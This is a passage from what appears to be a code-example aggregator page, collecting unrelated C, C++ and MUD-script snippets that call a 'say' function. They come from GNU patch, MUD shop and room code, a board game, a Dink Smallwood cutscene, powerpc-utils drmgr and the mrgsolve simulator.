			if (read(tifd, tibuf[whichbuf], BUFFERSIZE) < 0)
				pfatal("error reading tmp file %s", TMPINNAME);
		}
		return tibuf[whichbuf] + (tireclen * offline);
	}
}

/*
 * True if the string argument contains the revision number we want.
 */
static bool
rev_in_string(const char *string)
{
	const char	*s;
	size_t		patlen;

	if (revision == NULL)
		return true;
	patlen = strlen(revision);
	if (strnEQ(string, revision, patlen) && isspace(string[patlen]))
		return true;
	for (s = string; *s; s++) {
		if (isspace(*s) && strnEQ(s + 1, revision, patlen) &&
		    isspace(s[patlen + 1])) {
			return true;
		}
	}
	return false;
}
示例#9
0
// -----------------------------------------------------------------
// Name : addToInventory
// -----------------------------------------------------------------
void Character::addToInventory(InventoryObject * obj)
{
	inventory.push_back(obj);
	say("I've found a " + obj->getName());
}
示例#10
0
void Board::White_win()
{
	puts(">>>> The WHITE win");
	info.sprintf("OK, the winner is WHITE!\n");
	emit say(info);
}
示例#11
0
文件: wall.c 项目: Elohim/FGmud
int OpenSesame(){
    write("You uncover a secret passageway!");
    say(this_player()->GetName()+" uncovers a secret passageway!");
    AddItem(({"secret passageway","passageway"}) , "A secret passageway you can enter.");
示例#12
0
void Board::Black_win()
{
	puts(">>>> The BLACK win");
	info.sprintf("OK, the winner is BLACK!\n");
	emit say(info);
}
示例#13
0
void Board::We_tie()
{
	puts(">>> We tie");
	info.sprintf("You two tie at last!\n");
	emit say(info);
}
示例#14
0
void Board::I_lose()
{
	puts(">>>> I lose");
	info.sprintf("So sorry that...\n");
	emit say(info);
}
示例#15
0
文件: exec.c 项目: srfrog/epic5
int	text_to_process (int x, const char *y, int z) 	
{ 
	say("Cannot send text to process without job control, sorry.");
	return 1; 
}
示例#16
0
int cmd_say (string str) {
	write ("You strive to speak, but you cannot form words in your ghostly state.\n") ;
	say ("You hear the sound of distant wind.\n") ;
	return 1 ;
}
示例#17
0
void main( void )
{
 if (&caveguy == 5)
 {
  script_attach(1000);
  //preload_seq(740);  <-- for sucking.
preload_seq(375);
  preload_seq(168);
  int &junk;
  int &dude;
  int &evil;
  int &evil2;
  int &evil3;
  freeze(1);
  &dude = create_sprite(551, 157, 0, 0, 0);
  sp_brain(&dude, 0);
  sp_base_walk(&dude, 370);
  sp_speed(&dude, 2);
  sp_timing(&dude, 0);
  //set starting pic
  sp_pseq(&dude, 371);
  sp_pframe(&dude, 1);
  //Now EVIL
  &evil = create_sprite(-20, 130, 0, 0, 0);
  sp_brain(&evil, 0);
  sp_base_walk(&evil, 300);
  sp_speed(&evil, 1);
  sp_timing(&evil, 0);
  //set starting pic
  sp_pseq(&evil, 303);
  sp_pframe(&evil, 1);
  //Now EVIL's friend
  &evil2 = create_sprite(-20, 210, 0, 0, 0);
  sp_brain(&evil2, 0);
  sp_base_walk(&evil2, 300);
  sp_speed(&evil2, 1);
  sp_timing(&evil2, 0);
  //set starting pic
  sp_pseq(&evil2, 303);
  sp_pframe(&evil2, 1);
  //And the third EVIL
  &evil3 = create_sprite(300, 470, 0, 0, 0);
  sp_brain(&evil3, 0);
  sp_base_walk(&evil3, 300);
  sp_speed(&evil3, 1);
  sp_timing(&evil3, 0);
  //set starting pic
  sp_pseq(&evil3, 307);
  sp_pframe(&evil3, 1);
  Playmidi("1004.mid");
  say_stop("`5Ok, let's get going before they come.", &dude);
  wait(500);
  say_stop("`5This way.", &dude);
  move(&dude, 4, 500, 1);
  wait(50);
  move(1, 4, 550, 1);
  wait(150);
  say("`4Not so fast.", &evil);
  move(&evil, 6, 100, 1);
  wait(850);
  move(&evil3, 8, 380, 1);
  move_stop(&evil2, 6, 67, 1);
  say_stop("`4We have a small matter to discuss with your friend.", &evil);
  say("`4Hahahaaahaha", &evil);
  say("`4Haha ha ha", &evil2);
  say_stop("`4Ha ha haaa", &evil3);
  wait(800);
  sp_dir(&dude, 3);
  say_stop("`5It's okay Dink, I can take 'em.", &dude);
  wait(250);
  say("`5Allright.", &dude);
  move_stop(&dude, 4, 400, 1);
  sp_dir(&dude, 1);
  say_stop("`5Which one of you is first?", &dude);
  wait(250);
  say("`4Haha ha ha", &evil2);
  wait(500);
  say_stop("`4Ha ha haaa", &evil3);
  wait(500);
  say_stop("`4I am!!", &evil);
  move_stop(&evil, 2, 157, 1);
  move_stop(&evil, 6, 170, 1);
  wait(500);
  //say("`4I'm attacking now...", &evil);
  &junk = create_sprite(240, 157, 11, 506, 1);
  sp_seq(&junk, 506); 
  sp_dir(&junk, 6);
  sp_speed(&junk, 6);
  sp_flying(&junk, 1);
  wait(390);
  sp_active(&junk, 0);
  &junk = create_sprite(390, 157, 7, 168, 1);
  sp_seq(&junk, 168);
  sp_pseq(&dude, 375);
  sp_pframe(&dude, 1);

  say_stop("`5Ahhhhhh!", &dude);
  wait(50);
  sp_active(&junk, 0);
  //Kill guy too

  say("Noooo!!", 1);
  move(1, 4, 450, 1);
  wait(500);
  say("`4Haha ha ha", &evil2);
  say_stop("`4Ha ha haaa", &evil3);
  wait(500);
  say_stop("`4Our work is done here.", &evil);
  wait(500);
  say_stop("`4You may live, if you forget all that you've seen here.", &evil);
  wait(250);
  say_stop("Forget ...", 1);
  wait(500);
  say_stop("I'll forget allright.", 1);
  wait(250);
  move(&evil, 4, -20, 1);
  wait(360);
  move(&evil2, 4, -20, 1);
  move_stop(&evil3, 4, 180, 1);
  move_stop(&evil3, 2, 470, 1);
  sp_active(&evil, 0);
  sp_active(&evil2, 0);
  sp_active(&evil3, 0);
  wait(250);
  say_stop("Forget to remove my foot from your ASS!!", 1);
  wait(500);
  say_stop("Are you okay?", 1);
  wait(500);
  say_stop("`5I just got hit by a fireball", &dude);
  wait(500);
  say_stop("`5I'm going to die!", &dude);
  wait(250);
  say_stop("I'm sorry I wasn't fast enough.", 1);
  wait(500);
  say_stop("`5It's not your fault", &dude);
  wait(500);
  say_stop("`5Just .. just be careful... also, take this...", &dude);
  wait(500);
  say_stop("Alright.. what is it?", 1);
  wait(500);
  say_stop("`5The Mordavia scroll.  It contains magic I needed to...", &dude);
  say_stop("`5Ahhhhhh.", &dude);
  wait(1000);
  say_stop("Ah man...", 1);
  sp_active(&dude, 0);
  &caveguy = 6;
  add_magic("item-p1", 438,14);
  &story = 7;
  unfreeze(1);
  //Fade
  fade_down();
  fill_screen(0);
  //move Dink
  &player_map = 625;
  sp_x(1, 268);
  sp_y(1, 173);
  sp_dir(1, 8);
  load_screen();
  draw_screen();
  draw_status();
  fade_up();
  kill_this_task();
 }
}
示例#18
0
elevator_arrives() {
  say("The lamp on the button beside the elevator goes out.\n");
  lamp_is_lit = 0;
}
示例#19
0
/**
 * add_phandles
 *
 * @param parent
 * @param p
 * @returns
 */
static int
add_phandles(char *parent, char *p)
{
    DIR *d;
    struct dirent *de;
    char path[PATH_MAX];
    unsigned int phandle;
    char *pend;
    FILE *fd;

    strcpy(path,parent);
    if (strlen(p)) {
        strcat(path,"/");
        strcat(path,p);
    }
    pend = path + strlen(path);

    d = opendir(path);
    if (d == NULL) {
        perror(path);
        return 1;
    }

    while ((de = readdir(d))) {
        if ((de->d_type == DT_DIR) &&
                (strcmp(de->d_name,".")) &&
                (strcmp(de->d_name,"..")))
            add_phandles(path,de->d_name);
    }

    strcpy(pend,"/linux,phandle");
    fd = fopen(path,"r");
    if (fd != NULL) {
        if (fread(&phandle,sizeof(phandle),1,fd) != 1) {
            perror(path);
            say(DEBUG, "Error reading phandle data!\n");
            fclose(fd);
            return 1;
        }
        *pend = '\0';
        add_phandle(path + strlen("/proc/device-tree"),phandle, 0);
        fclose(fd);
    }

    strcpy(pend,"/ibm,phandle");
    fd = fopen(path,"r");
    if (fd != NULL) {
        if (fread(&phandle,sizeof(phandle),1,fd) != 1) {
            perror(path);
            say(DEBUG, "Error reading phandle data!\n");
            fclose(fd);
            return 1;
        }
        *pend = '\0';
        add_phandle(path + strlen("/proc/device-tree"), phandle, 1);
        fclose(fd);
    }

    closedir(d);
    return 0;
}
示例#20
0
 string countAndSay(int n) {
   if (n == 1) return "1";
   if (n == 2) return "11";
   return say(countAndSay(n-1));
 }
示例#21
0
int
drmig_chrp_pmig(struct options *opts)
{
    int rc;
    char *cmd = opts->p_option;
    char sys_src[20];
    uint64_t stream_val;

    /* Ensure that this partition is migratable/mobile */
    if (! pmig_capable()) {
        fprintf(stderr, "drmig_chrp_pmig: Partition Mobility is not "
                "supported on this kernel.\n");
        return -1;
    }

    /* Today we do no pre-checks for migratability. The only check
     * we could do is whether the "ibm,suspend-me" RTAS call exists.
     * But if it doesn't, the firmware level doesn't support migration,
     * in which case why the heck are we being invoked anyways.
     */
    if (strcmp(cmd, "check") == 0) {
        say(DEBUG, "check: Nothing to do...\n");
        return 0;
    }

    /* The only other command is pre, any other command is invalid */
    if (strcmp(cmd, "pre")) {
        say(DEBUG, "Invalid command \"%s\" specified\n", cmd);
        return 1;
    }

    if (opts->usr_drc_name == NULL) {
        say(ERROR, "No streamid specified\n");
        return -1;
    }

    errno = 0;
    stream_val = strtoull(opts->usr_drc_name, NULL, 16);
    if (errno != 0) {
        say(ERROR, "Invalid streamid specified: %s\n", strerror(errno));
        return -1;
    }

    /* Get the ID of the original system, for later logging */
    get_str_attribute(OFDT_BASE, "system-id", sys_src, 20);
    sleep(5);

    /* Now do the actual migration */
    do {
        if (action == MIGRATE)
            rc = do_migration(stream_val);
        else if (action == HIBERNATE)
            rc = do_hibernation(stream_val);
        else
            rc = -EINVAL;

        if (rc == NOT_SUSPENDABLE)
            sleep(1);

    } while (rc == NOT_SUSPENDABLE);

    syslog(LOG_LOCAL0 | LOG_INFO, "drmgr: %s rc %d\n",
           (action == MIGRATE ? "migration" : "hibernation"), rc);
    if (rc)
        return rc;

    post_mobility_update(action);

    say(DEBUG, "Refreshing RMC via refrsrc\n");
    rc = system("/usr/sbin/rsct/bin/refrsrc IBM.ManagementServer");

    return 0;
}
示例#22
0
文件: shop.c 项目: xxx/cdlib
/*
 * Function name: shop_hook_value_asking
 * Description:   What other see when someone evaluates something
 * Arguments:     str - The text form what the player is asking about
 */
void
shop_hook_value_asking(string str)
{
    say(QCTNAME(this_player()) + " asks about some values.\n");
}
示例#23
0
void
create_backup (char const *to, const struct stat *to_st, bool leave_original)
{
  /* When the input to patch modifies the same file more than once, patch only
     backs up the initial version of each file.

     To figure out which files have already been backed up, patch remembers the
     files that replace the original files.  Files not known already are backed
     up; files already known have already been backed up before, and are
     skipped.

     When a patch tries to delete a file, in order to not break the above
     logic, we merely remember which file to delete.  After the entire patch
     file has been read, we delete all files marked for deletion which have not
     been recreated in the meantime.  */

  if (to_st && ! (S_ISREG (to_st->st_mode) || S_ISLNK (to_st->st_mode)))
    fatal ("File %s is not a %s -- refusing to create backup",
	   to, S_ISLNK (to_st->st_mode) ? "symbolic link" : "regular file");

  if (to_st && lookup_file_id (to_st) == CREATED)
    {
      if (debug & 4)
	say ("File %s already seen\n", quotearg (to));
    }
  else
    {
      int try_makedirs_errno = 0;
      char *bakname;

      if (origprae || origbase || origsuff)
	{
	  char const *p = origprae ? origprae : "";
	  char const *b = origbase ? origbase : "";
	  char const *s = origsuff ? origsuff : "";
	  char const *t = to;
	  size_t plen = strlen (p);
	  size_t blen = strlen (b);
	  size_t slen = strlen (s);
	  size_t tlen = strlen (t);
	  char const *o;
	  size_t olen;

	  for (o = t + tlen, olen = 0;
	       o > t && ! ISSLASH (*(o - 1));
	       o--)
	    /* do nothing */ ;
	  olen = t + tlen - o;
	  tlen -= olen;
	  bakname = xmalloc (plen + tlen + blen + olen + slen + 1);
	  memcpy (bakname, p, plen);
	  memcpy (bakname + plen, t, tlen);
	  memcpy (bakname + plen + tlen, b, blen);
	  memcpy (bakname + plen + tlen + blen, o, olen);
	  memcpy (bakname + plen + tlen + blen + olen, s, slen + 1);

	  if ((origprae
	       && (contains_slash (origprae + FILE_SYSTEM_PREFIX_LEN (origprae))
		   || contains_slash (to)))
	      || (origbase && contains_slash (origbase)))
	    try_makedirs_errno = ENOENT;
	}
      else
	{
	  bakname = find_backup_file_name (to, backup_type);
	  if (!bakname)
	    xalloc_die ();
	}

      if (! to_st)
	{
	  int fd;

	  if (debug & 4)
	    say ("Creating empty file %s\n", quotearg (bakname));

	  try_makedirs_errno = ENOENT;
	  unlink (bakname);
	  while ((fd = creat (bakname, 0666)) < 0)
	    {
	      if (errno != try_makedirs_errno)
		pfatal ("Can't create file %s", quotearg (bakname));
	      makedirs (bakname);
	      try_makedirs_errno = 0;
	    }
	  if (close (fd) != 0)
	    pfatal ("Can't close file %s", quotearg (bakname));
	}
      else if (leave_original)
	create_backup_copy (to, bakname, to_st, try_makedirs_errno == 0);
      else
	{
	  if (debug & 4)
	    say ("Renaming file %s to %s\n",
		 quotearg_n (0, to), quotearg_n (1, bakname));
	  while (rename (to, bakname) != 0)
	    {
	      if (errno == try_makedirs_errno)
		{
		  makedirs (bakname);
		  try_makedirs_errno = 0;
		}
	      else if (errno == EXDEV)
		{
		  create_backup_copy (to, bakname, to_st,
				      try_makedirs_errno == 0);
		  unlink (to);
		  break;
		}
	      else
		pfatal ("Can't rename file %s to %s",
			quotearg_n (0, to), quotearg_n (1, bakname));
	    }
	}
      free (bakname);
    }
}
示例#24
0
文件: shop.c 项目: xxx/cdlib
/*
 * Function name: shop_hook_appraise_object
 * Description  : Called when a player asks to see an object for sale.
 */
void
shop_hook_appraise_object(object ob)
{
    say(QCTNAME(this_player()) + " asks to see " + LANG_ASHORT(ob) + ".\n");
}
示例#25
0
int cmd_hrm(){
  write("You hrm.\n");
  say(this_player()->query("cap_name")+" hrms.\n", this_player());
  return 1;
}
示例#26
0
文件: shop.c 项目: xxx/cdlib
/*
 * Function name: shop_hook_fail_storeroom
 * Description  : This function is called when a player tries to enter
 *                the storeroom. The function operates on this_player().
 */
void
shop_hook_fail_storeroom()
{
    write("You are not allowed to enter the store-room.\n");
    say(QCTNAME(this_player()) + " tries in vain to enter the store-room.\n");
}
示例#27
0
// [[Rcpp::export]]
Rcpp::List DEVTRAN(Rcpp::List parin,
		   Rcpp::NumericVector inpar,
		   Rcpp::CharacterVector parnames_,
		   Rcpp::NumericVector init,
		   Rcpp::CharacterVector cmtnames_,
		   Rcpp::List funs,
		   Rcpp::NumericMatrix data,
		   Rcpp::NumericMatrix idata,
		   Rcpp::NumericMatrix OMEGA,
		   Rcpp::NumericMatrix SIGMA) {

  svec parnames = Rcpp::as<svec>(parnames_);
  svec cmtnames = Rcpp::as<svec>(cmtnames_);
  for(size_t i=0; i < cmtnames.size(); i++) cmtnames[i] += "_0";

  bool lc               = Rcpp::as<bool>   (parin["lc"]);
  unsigned int verbose  = Rcpp::as<int>    (parin["verbose"]);
  bool debug            = Rcpp::as<bool>   (parin["debug"]  );
  int digits            = Rcpp::as<int>    (parin["digits"] );
  double tscale         = Rcpp::as<double> (parin["tscale"] );
  bool obsonly          = Rcpp::as<bool>   (parin["obsonly"]);
  bool obsaug           = Rcpp::as<bool>   (parin["obsaug"] );
  int  recsort          = Rcpp::as<int>    (parin["recsort"]);
  bool filbak           = Rcpp::as<bool>   (parin["filbak"]);
  int advan             = Rcpp::as<int>    (parin["advan"]);
  double mindt          = Rcpp::as<double> (parin["mindt"]);


  if(mindt > 1E-4) Rcpp::Rcout << "Warning: mindt may be too large (" << mindt << ")" << std::endl;

  // Create data objects from data and idata
  dataobject *dat = new dataobject(data,parnames);
  dat->map_uid();
  dat->locate_tran(lc);

  dataobject *idat = new dataobject(idata, parnames,cmtnames);
  idat -> map_uid();
  idat -> idata_row();

  // Number of individuals in the data set
  unsigned int NID = dat->nid();
  int nidata = idat->nrow();

  Rcpp::List ret;  // list for returning stuff
  int i=0,j=0,k=0;
  double time0 = 0.0;
  unsigned int crow =0,  neq=0; //
  Rodeproblem *prob;
  size_t h=0;


  obsaug  = obsaug & (data.nrow() > 0);

  bool ev_before_table = true;
  bool put_ev_first = false;
  bool addl_ev_first = true;

  switch (recsort) {
  case 1:
    break;
  case 2:
    put_ev_first = false;
    addl_ev_first = false;
    break;
  case 3:
    put_ev_first = true;
    addl_ev_first  = true;
    break;
  case 4:
    put_ev_first = true;
    addl_ev_first = false;
    break;
  default:
    CRUMP("recsort must be 1, 2, 3, or 4.");
  }


  // stime is a matrix, not a vector, with multiple columns to specify multiple designs
  // Matrix of observations (stime), one column per design

  Rcpp::NumericMatrix tgrid = Rcpp::as<Rcpp::NumericMatrix>(parin["tgridmatrix"]);
  // Vector of length idata.nrow() that maps each ID to a design
  // Already has C indexing
  Rcpp::IntegerVector tgridi = Rcpp::as<Rcpp::IntegerVector>(parin["whichtg"]);
  if(tgridi.size()==0) tgridi = Rcpp::rep(0,NID);
  if(tgridi.size() < NID) CRUMP("Length of design indicator less than NID.");

  if(max(tgridi) >= tgrid.ncol()) Rcpp::stop("Insufficient number of designs specified for this problem.");

  // Number of designs
  unsigned int ntgrid = tgrid.ncol();

  // Number of non-na times in each design
  std::vector<int> tgridn;
  if(ntgrid>1) {
    for(i = 0; i < tgrid.ncol(); i++) {
      tgridn.push_back(Rcpp::sum(!Rcpp::is_na(tgrid(Rcpp::_,i))));
    }
  } else {
    tgridn.push_back(tgrid.nrow());
  }

  //  for(i=0; i < tgridn.size(); i++) nREP(tgridn[i]);

  //obsonly = obsonly && (!(data.ncol() > 1));

  int idataid = 0;

  // find ID column in idata
  if(idata.nrow() > 0) idataid = idat->idcol();

  // These are the requested columns.
  Rcpp::IntegerVector request;
  ivec data_carry, idata_carry;
  svec tran_carry;

  // Number of requested compartments
  // Number of items from data carried into answer
  // Number of items in idata matrix carried into answer
  // Number of tran data items carried into answer
  int nreq=0, n_data_carry=0, n_idata_carry=0, n_tran_carry=0;

  request = parin["request"];
  nreq = request.size();

  // Columns from the data set to carry:
  data_carry = Rcpp::as<ivec >(parin["carry_data"]);
  n_data_carry = data_carry.size();

  // Tran Items to carry:
  tran_carry = Rcpp::as<svec >(parin["carry_tran"]);
  n_tran_carry = tran_carry.size();

  if(idata.nrow()>0) {
    idata_carry = Rcpp::as<ivec>(parin["carry_idata"]);
    n_idata_carry = idata_carry.size();
  }

  // Vector of simulation times
  // only active if no evid=0 records in data (cleared out in that case).
  dvec stimes = Rcpp::as<dvec>(parin["stimes"]);
  dvec ptimes = Rcpp::as<dvec>(parin["ptimes"]);
  dvec mtimes = Rcpp::as<dvec>(parin["mtime"]);

  svec tablenames = Rcpp::as<svec> (parin["table_names"]);
  int ntable = tablenames.size();

  if(debug) say("Creating Rodeproblem object");

  prob  = new Rodeproblem(inpar, init);
  prob->copy_parin(parin);
  prob->copy_funs(funs);
  neq = prob->neq();
  prob->advan(advan);
  prob->init_call_record(time0);

  switch(advan) {
  case 13:
    break;
  case 2:
    break;
  case 4:
    break;
  case 1:
    break;
  case 3:
    break;
  default:
    CRUMP("advan must be either 13, 2, or 4");
  }

  // Every ID in the data set needs to be found in idata if supplied:
  // dataobject.cpp
  if(nidata > 0) dat->check_idcol(idat);


  // Allocate the record list and resize for each ID:
  // stimes will get push_backed for now;
  if(debug) say("Allocating the record stack.");

  recstack a(NID);
  if(data.ncol()>1) {
    // if data is full, this will be all observations and events;
    // if data is condensed, this will be just events and observations from stimes
    if(debug) say("Resizing ...");
    for(recstack::iterator it = a.begin(); it !=a.end(); ++it) {
      i = it - a.begin();
      (*it).resize((dat->end(i) - dat->start(i))+1);
    }
    if(debug) say("done.");
  }

  double tto, tfrom;
  //double ttmp;

  int obscount = 0;
  int evcount  = 0;

  // dataobject.cpp
  // Extract data records from the data set
  dat->get_records(a, NID, neq, obscount, evcount,obsonly,debug);
  // Offset for getting parameters from the data set (not idata)
  //int posoff = t2cov && obscount > 0 ? 1 : 0;

  // Deal with stimes:

  // Observations from stime will always come after events;
  unsigned int nextpos = 0;
  if((obscount > 0) && (!obsaug)) {
    if(debug) say("Clearing stimes ...");
    stimes.clear();
    ptimes.clear();
  }


  bool extra_times = (stimes.size()>0) || (ptimes.size()>0);

  if(extra_times) {

    nextpos =  put_ev_first ?  (data.nrow() + 10) : -100;

    double id;
    size_t n = stimes.size();
    size_t m = ptimes.size();
    unsigned int thisind=0;

    if(debug) Rcpp::Rcout << "Adding observations from stime and sorting " << std::endl;
    //if(debug && (!ipass)) say("    No ipass; will sort now");

    for(recstack::iterator it = a.begin(); it != a.end(); ++it) {

      thisind = it-a.begin();

      id = dat->get_uid(thisind);

      j = idat->get_idata_row(id);
      n = tgridn[tgridi[j]];

      for(h=0; h < n; h++) {
	rec_ptr obs(new datarecord(0,tgrid(h,tgridi[j]),0,nextpos,id));
	(*it).push_back(obs);
	++obscount;
      } // done adding stimes;

      for(h=0; h < m; h++) {
      	rec_ptr obs(new datarecord(0,ptimes[h], 0, nextpos, id));
      	obs->output(false);
      	(*it).push_back(obs);
      }
      // sort the records by time and original position only if we're not doing checkout
      std::sort((*it).begin(), (*it).end(), CompByTimePosRec);
    }
  }

  unsigned int NN = obscount;
  if(!obsonly) NN = NN + evcount;

  // Create results matrix:
  //  rows: ntime*nset
  //  cols: rep, time, eq[0], eq[1], ..., yout[0], yout[1],...

  int neta = 0;
  arma::mat eta;
  if(OMEGA.nrow() > 0) {
    eta = MVGAUSS(OMEGA,NID,-1);
    neta = eta.n_cols;
  }
  prob->neta(OMEGA.ncol());

  int neps = 0;
  arma::mat eps;
  if(SIGMA.nrow() > 0) {
    eps = MVGAUSS(SIGMA, NN, -1);
    neps = eps.n_cols;
  }
  prob->neps(SIGMA.ncol());

  // Figure out the output data set:
  const unsigned int n_out_col  = 2 + n_tran_carry + n_data_carry + n_idata_carry + nreq + ntable;
  Rcpp::NumericMatrix ans(NN,n_out_col);
  const unsigned int tran_carry_start = 2;
  const unsigned int data_carry_start = tran_carry_start + n_tran_carry;
  const unsigned int idata_carry_start = data_carry_start + n_data_carry;
  const unsigned int req_start = idata_carry_start+n_idata_carry;
  const unsigned int table_start = req_start+nreq;

  // Fill in id and time:
  /// This happens no matter what
  if(debug) Rcpp::Rcout << "Filling in time and ID ... " << std::endl;
  crow = 0; // current row counter:

  for(recstack::const_iterator it = a.begin(); it !=a.end(); ++it) {
    for(reclist::const_iterator itt = (*it).begin(); itt != (*it).end(); ++itt) {
      // Only if this is an output record:
      // may not be output record if obsonly was TRUEs
      if((*itt)->output()) {
	ans(crow, 0) = (*itt)->id();
	ans(crow,1) = (*itt)->time();
	crow++;
      }
    }
  }


  // Carry along TRAN data items (evid, amt, ii, ss, rate)
  Rcpp::CharacterVector tran_names;
  if(n_tran_carry > 0) {
    if(debug) say("Filling in carried items ...");

    svec::const_iterator tcbeg  = tran_carry.begin();
    svec::const_iterator tcend  = tran_carry.end();
    // items in tran_carry are always lc
    bool carry_evid = std::find(tcbeg,tcend, "evid")     != tcend;
    bool carry_cmt =  std::find(tcbeg,tcend, "cmt")      != tcend;
    bool carry_amt =  std::find(tcbeg,tcend, "amt")      != tcend;
    bool carry_ii =   std::find(tcbeg,tcend, "ii")       != tcend;
    bool carry_addl = std::find(tcbeg,tcend, "addl")     != tcend;
    bool carry_ss =   std::find(tcbeg,tcend, "ss")       != tcend;
    bool carry_rate = std::find(tcbeg,tcend, "rate")     != tcend;
    bool carry_aug  = std::find(tcbeg,tcend, "a.u.g")    != tcend;

    if(carry_evid) tran_names.push_back("evid");
    if(carry_amt)  tran_names.push_back("amt");
    if(carry_cmt)  tran_names.push_back("cmt");
    if(carry_ss)   tran_names.push_back("ss");
    if(carry_ii)   tran_names.push_back("ii");
    if(carry_addl) tran_names.push_back("addl");
    if(carry_rate) tran_names.push_back("rate");
    if(carry_aug)  tran_names.push_back("a.u.g");


    crow = 0; // current output row
    for(recstack::const_iterator it = a.begin(); it !=a.end(); ++it) {
      for(reclist::const_iterator itt = (*it).begin(); itt != (*it).end(); ++itt) {
	if(!(*itt)->output()) continue;
	int n = 0;
	if(carry_evid) {ans(crow,n+2) = (*itt)->evid();                    n++;}
	if(carry_amt)  {ans(crow,n+2) = (*itt)->amt();                     n++;}
	if(carry_cmt)  {ans(crow,n+2) = (*itt)->cmt();                     n++;}
	if(carry_ss)   {ans(crow,n+2) = (*itt)->ss();                      n++;}
	if(carry_ii)   {ans(crow,n+2) = (*itt)->ii();                      n++;}
	if(carry_addl) {ans(crow,n+2) = (*itt)->addl();                    n++;}
	if(carry_rate) {ans(crow,n+2) = (*itt)->rate();                    n++;}
	if(carry_aug)  {ans(crow,n+2) = ((*itt)->pos()==nextpos) && obsaug; n++;}
	crow++;
      }
    }
  }


  // Carry items from data or idata
  if(((n_idata_carry > 0) || (n_data_carry > 0)) ) {
    if(debug) {
      Rcpp::Rcout << "Copying items from data and idata into answer..." << std::endl;
      Rcpp::Rcout << "Carrying " << n_idata_carry << " items from idata." << std::endl;
      Rcpp::Rcout << "Carrying " << n_data_carry << " items from data set." << std::endl;
    }
    crow = 0;

    int lastpos = -1;

    unsigned int idatarow=0;

    bool carry_from_data = n_data_carry > 0;

    for(recstack::iterator it=a.begin(); it!=a.end(); ++it) {

      j = it-a.begin();

      if((n_idata_carry > 0) && (nidata > 0)) {
  	idatarow = idat->get_idata_row(dat->get_uid(j));
      }

      std::vector<rec_ptr> thisi = *it;

      for(size_t i=0; i < thisi.size(); i++) {

	if(carry_from_data) {
	  // Need to reset this for each ID; indicates that
	  // We haven't hit a dataset record yet
	  if(i==0) lastpos = -1;
	  // Need to log lastpos here regardless
	  if(thisi.at(i)->from_data()) lastpos = thisi.at(i)->pos();
	}

	if(!thisi.at(i)->output()) continue;

  	// Copy from idata:
  	for(k=0; k < n_idata_carry; k++) {
  	  ans(crow, idata_carry_start+k) = idata(idatarow,idata_carry[k]);
  	}

	if(carry_from_data) {
	  if(lastpos >=0) {
	    for(k=0; k < n_data_carry; k++) ans(crow, data_carry_start+k)  = data(lastpos,data_carry[k]);
	  } else {
	    for(k=0; k < n_data_carry; k++) ans(crow, data_carry_start+k)  = data(dat->start(j),data_carry[k]);
	  }
	}
  	// Increment current row:
  	++crow;
      }
    }
  }

  if((verbose||debug)) {
    //Rcpp::Rcout << std::endl <<  "========================" << std::endl;
    Rcpp::Rcout << std::endl;
    Rcpp::Rcout << "THIS IS MRGSOLVE (DEVTRAN) " << std::endl;
    Rcpp::Rcout << "TOT. NO. OF INDIVIDUALS:   " << NID << std::endl;
    Rcpp::Rcout << "TOT. NO. OF OBS RECS:      " << obscount  << std::endl;
    Rcpp::Rcout << "TOT. NO. OF EV  RECS:      " << evcount   << std::endl;
    Rcpp::Rcout << "TOT. NO. OF ETA:           " << neta << std::endl;
    Rcpp::Rcout << "TOT. NO. OF EPS:           " << neps << std::endl;
    Rcpp::Rcout << "Parameters:                " << prob->npar()  << std::endl;
    Rcpp::Rcout << "Equations:                 " << neq  << std::endl;
    Rcpp::Rcout << "Requested compartments:    ";
    for(i=0; i < nreq; i++) Rcpp::Rcout << (1+request[i]) << " ";
    Rcpp::Rcout << std::endl;
    Rcpp::Rcout << "OUTPUT MATRIX:             " << NN << " rows, " << n_out_col << " columns" << std::endl;

  }
  if(debug) {
    Rcpp::Rcout << "========================" << std::endl;
    Rcpp::Rcout << "id   in data column " << (dat->idcol()+1) << std::endl;
    Rcpp::Rcout << "time in data column " << (dat->col_n("time") + 1) << std::endl;
    Rcpp::Rcout << "evid in data column " << (dat->col_n("evid") + 1) << std::endl ;
    Rcpp::Rcout << "amt  in data column " << (dat->col_n("amt")+1) << std::endl;
    Rcpp::Rcout << "cmt  in data column " << (dat->col_n("cmt")+1) << std::endl;
    Rcpp::Rcout << "rate in data column " << (dat->col_n("rate")+1) << std::endl ;
    Rcpp::Rcout << "========================" << std::endl;
  }

  crow = 0;
  if(verbose||debug)  Rcpp::Rcout << "Solving ... ";

  int this_cmt = 0;
  //prob->reset_newid(this_id);
  // Do one last reset on parameters:
  dat->reload_parameters(inpar,prob);
  // First, get idata parameters from the first ID in data
  idat->copy_parameters(idat->get_idata_row(dat->get_uid(0)),prob);
  // Then, copy parameters from the first record in data
  dat->copy_parameters(0,prob);

  // The current difference between tto and tfrom
  double dt = 0;
  double denom = 1;

  // LOOP ACROSS IDS:
  for(size_t i=0; i < a.size(); i++) {

    std::vector<rec_ptr> thisi = a.at(i);

    tfrom = thisi.at(0)->time();
    double id = thisi.at(0)->id();
    double maxtime = thisi.back()->time();

    prob->reset_newid(id);

    if(i==0) prob->newind(0);

    // Copy eta values for this ID
    for(j=0; j < neta; j++) prob->eta(j,eta(i,j));

    // Copy eps values:
    for(j=0; j < neps; j++) prob->eps(j,eps(crow,j));

    // Refresh parameters in data:
    dat->reload_parameters(inpar,prob);
    //Copy parameters from idata
    idat->copy_parameters(idat->get_idata_row(id),prob);

    // Copy parameters from data
    rec_ptr this_rec  = thisi.at(0);
    if(this_rec->from_data()) {
      // If this record is from the data set, copy parameters from data
      dat->copy_parameters(this_rec->pos(), prob);
    } else {
      if(filbak) dat->copy_parameters(dat->start(i),prob);
    }

    // Calculate initial conditions:
    for(k=0; k < neq; k++) prob->y_init(k,init[k]);
    // Copy initials from idata
    idat -> copy_inits(idat->get_idata_row(id),prob);
    // Call $MAIN
    prob->init_call(tfrom);

    add_mtime(thisi, mtimes, prob->mtime(),(debug||verbose));

    prob->table_call();

    // LOOP ACROSS EACH RECORD for THIS ID:
    for(size_t j=0; j < thisi.size(); j++) {
      if(j==0) {
	prob->solving(true);
      } else {
	prob->newind(2);
      }

      rec_ptr this_rec = thisi.at(j);

      // Fill in the remaining records once system is turned off
      if(prob->systemoff()) {
	if(this_rec->output()) {
	  if(prob->CFONSTOP()) {
	    for(int i=0; i < ntable; i++) ans(crow,(i+table_start)) = prob->table(tablenames.at(i));
	    for(int k=0; k < nreq;   k++) ans(crow,(k+req_start  )) = prob->y(request[k]);
	  } else {
	    ans(crow,0) = NA_REAL;
	  }
	  crow++;
	}
	continue;
      }

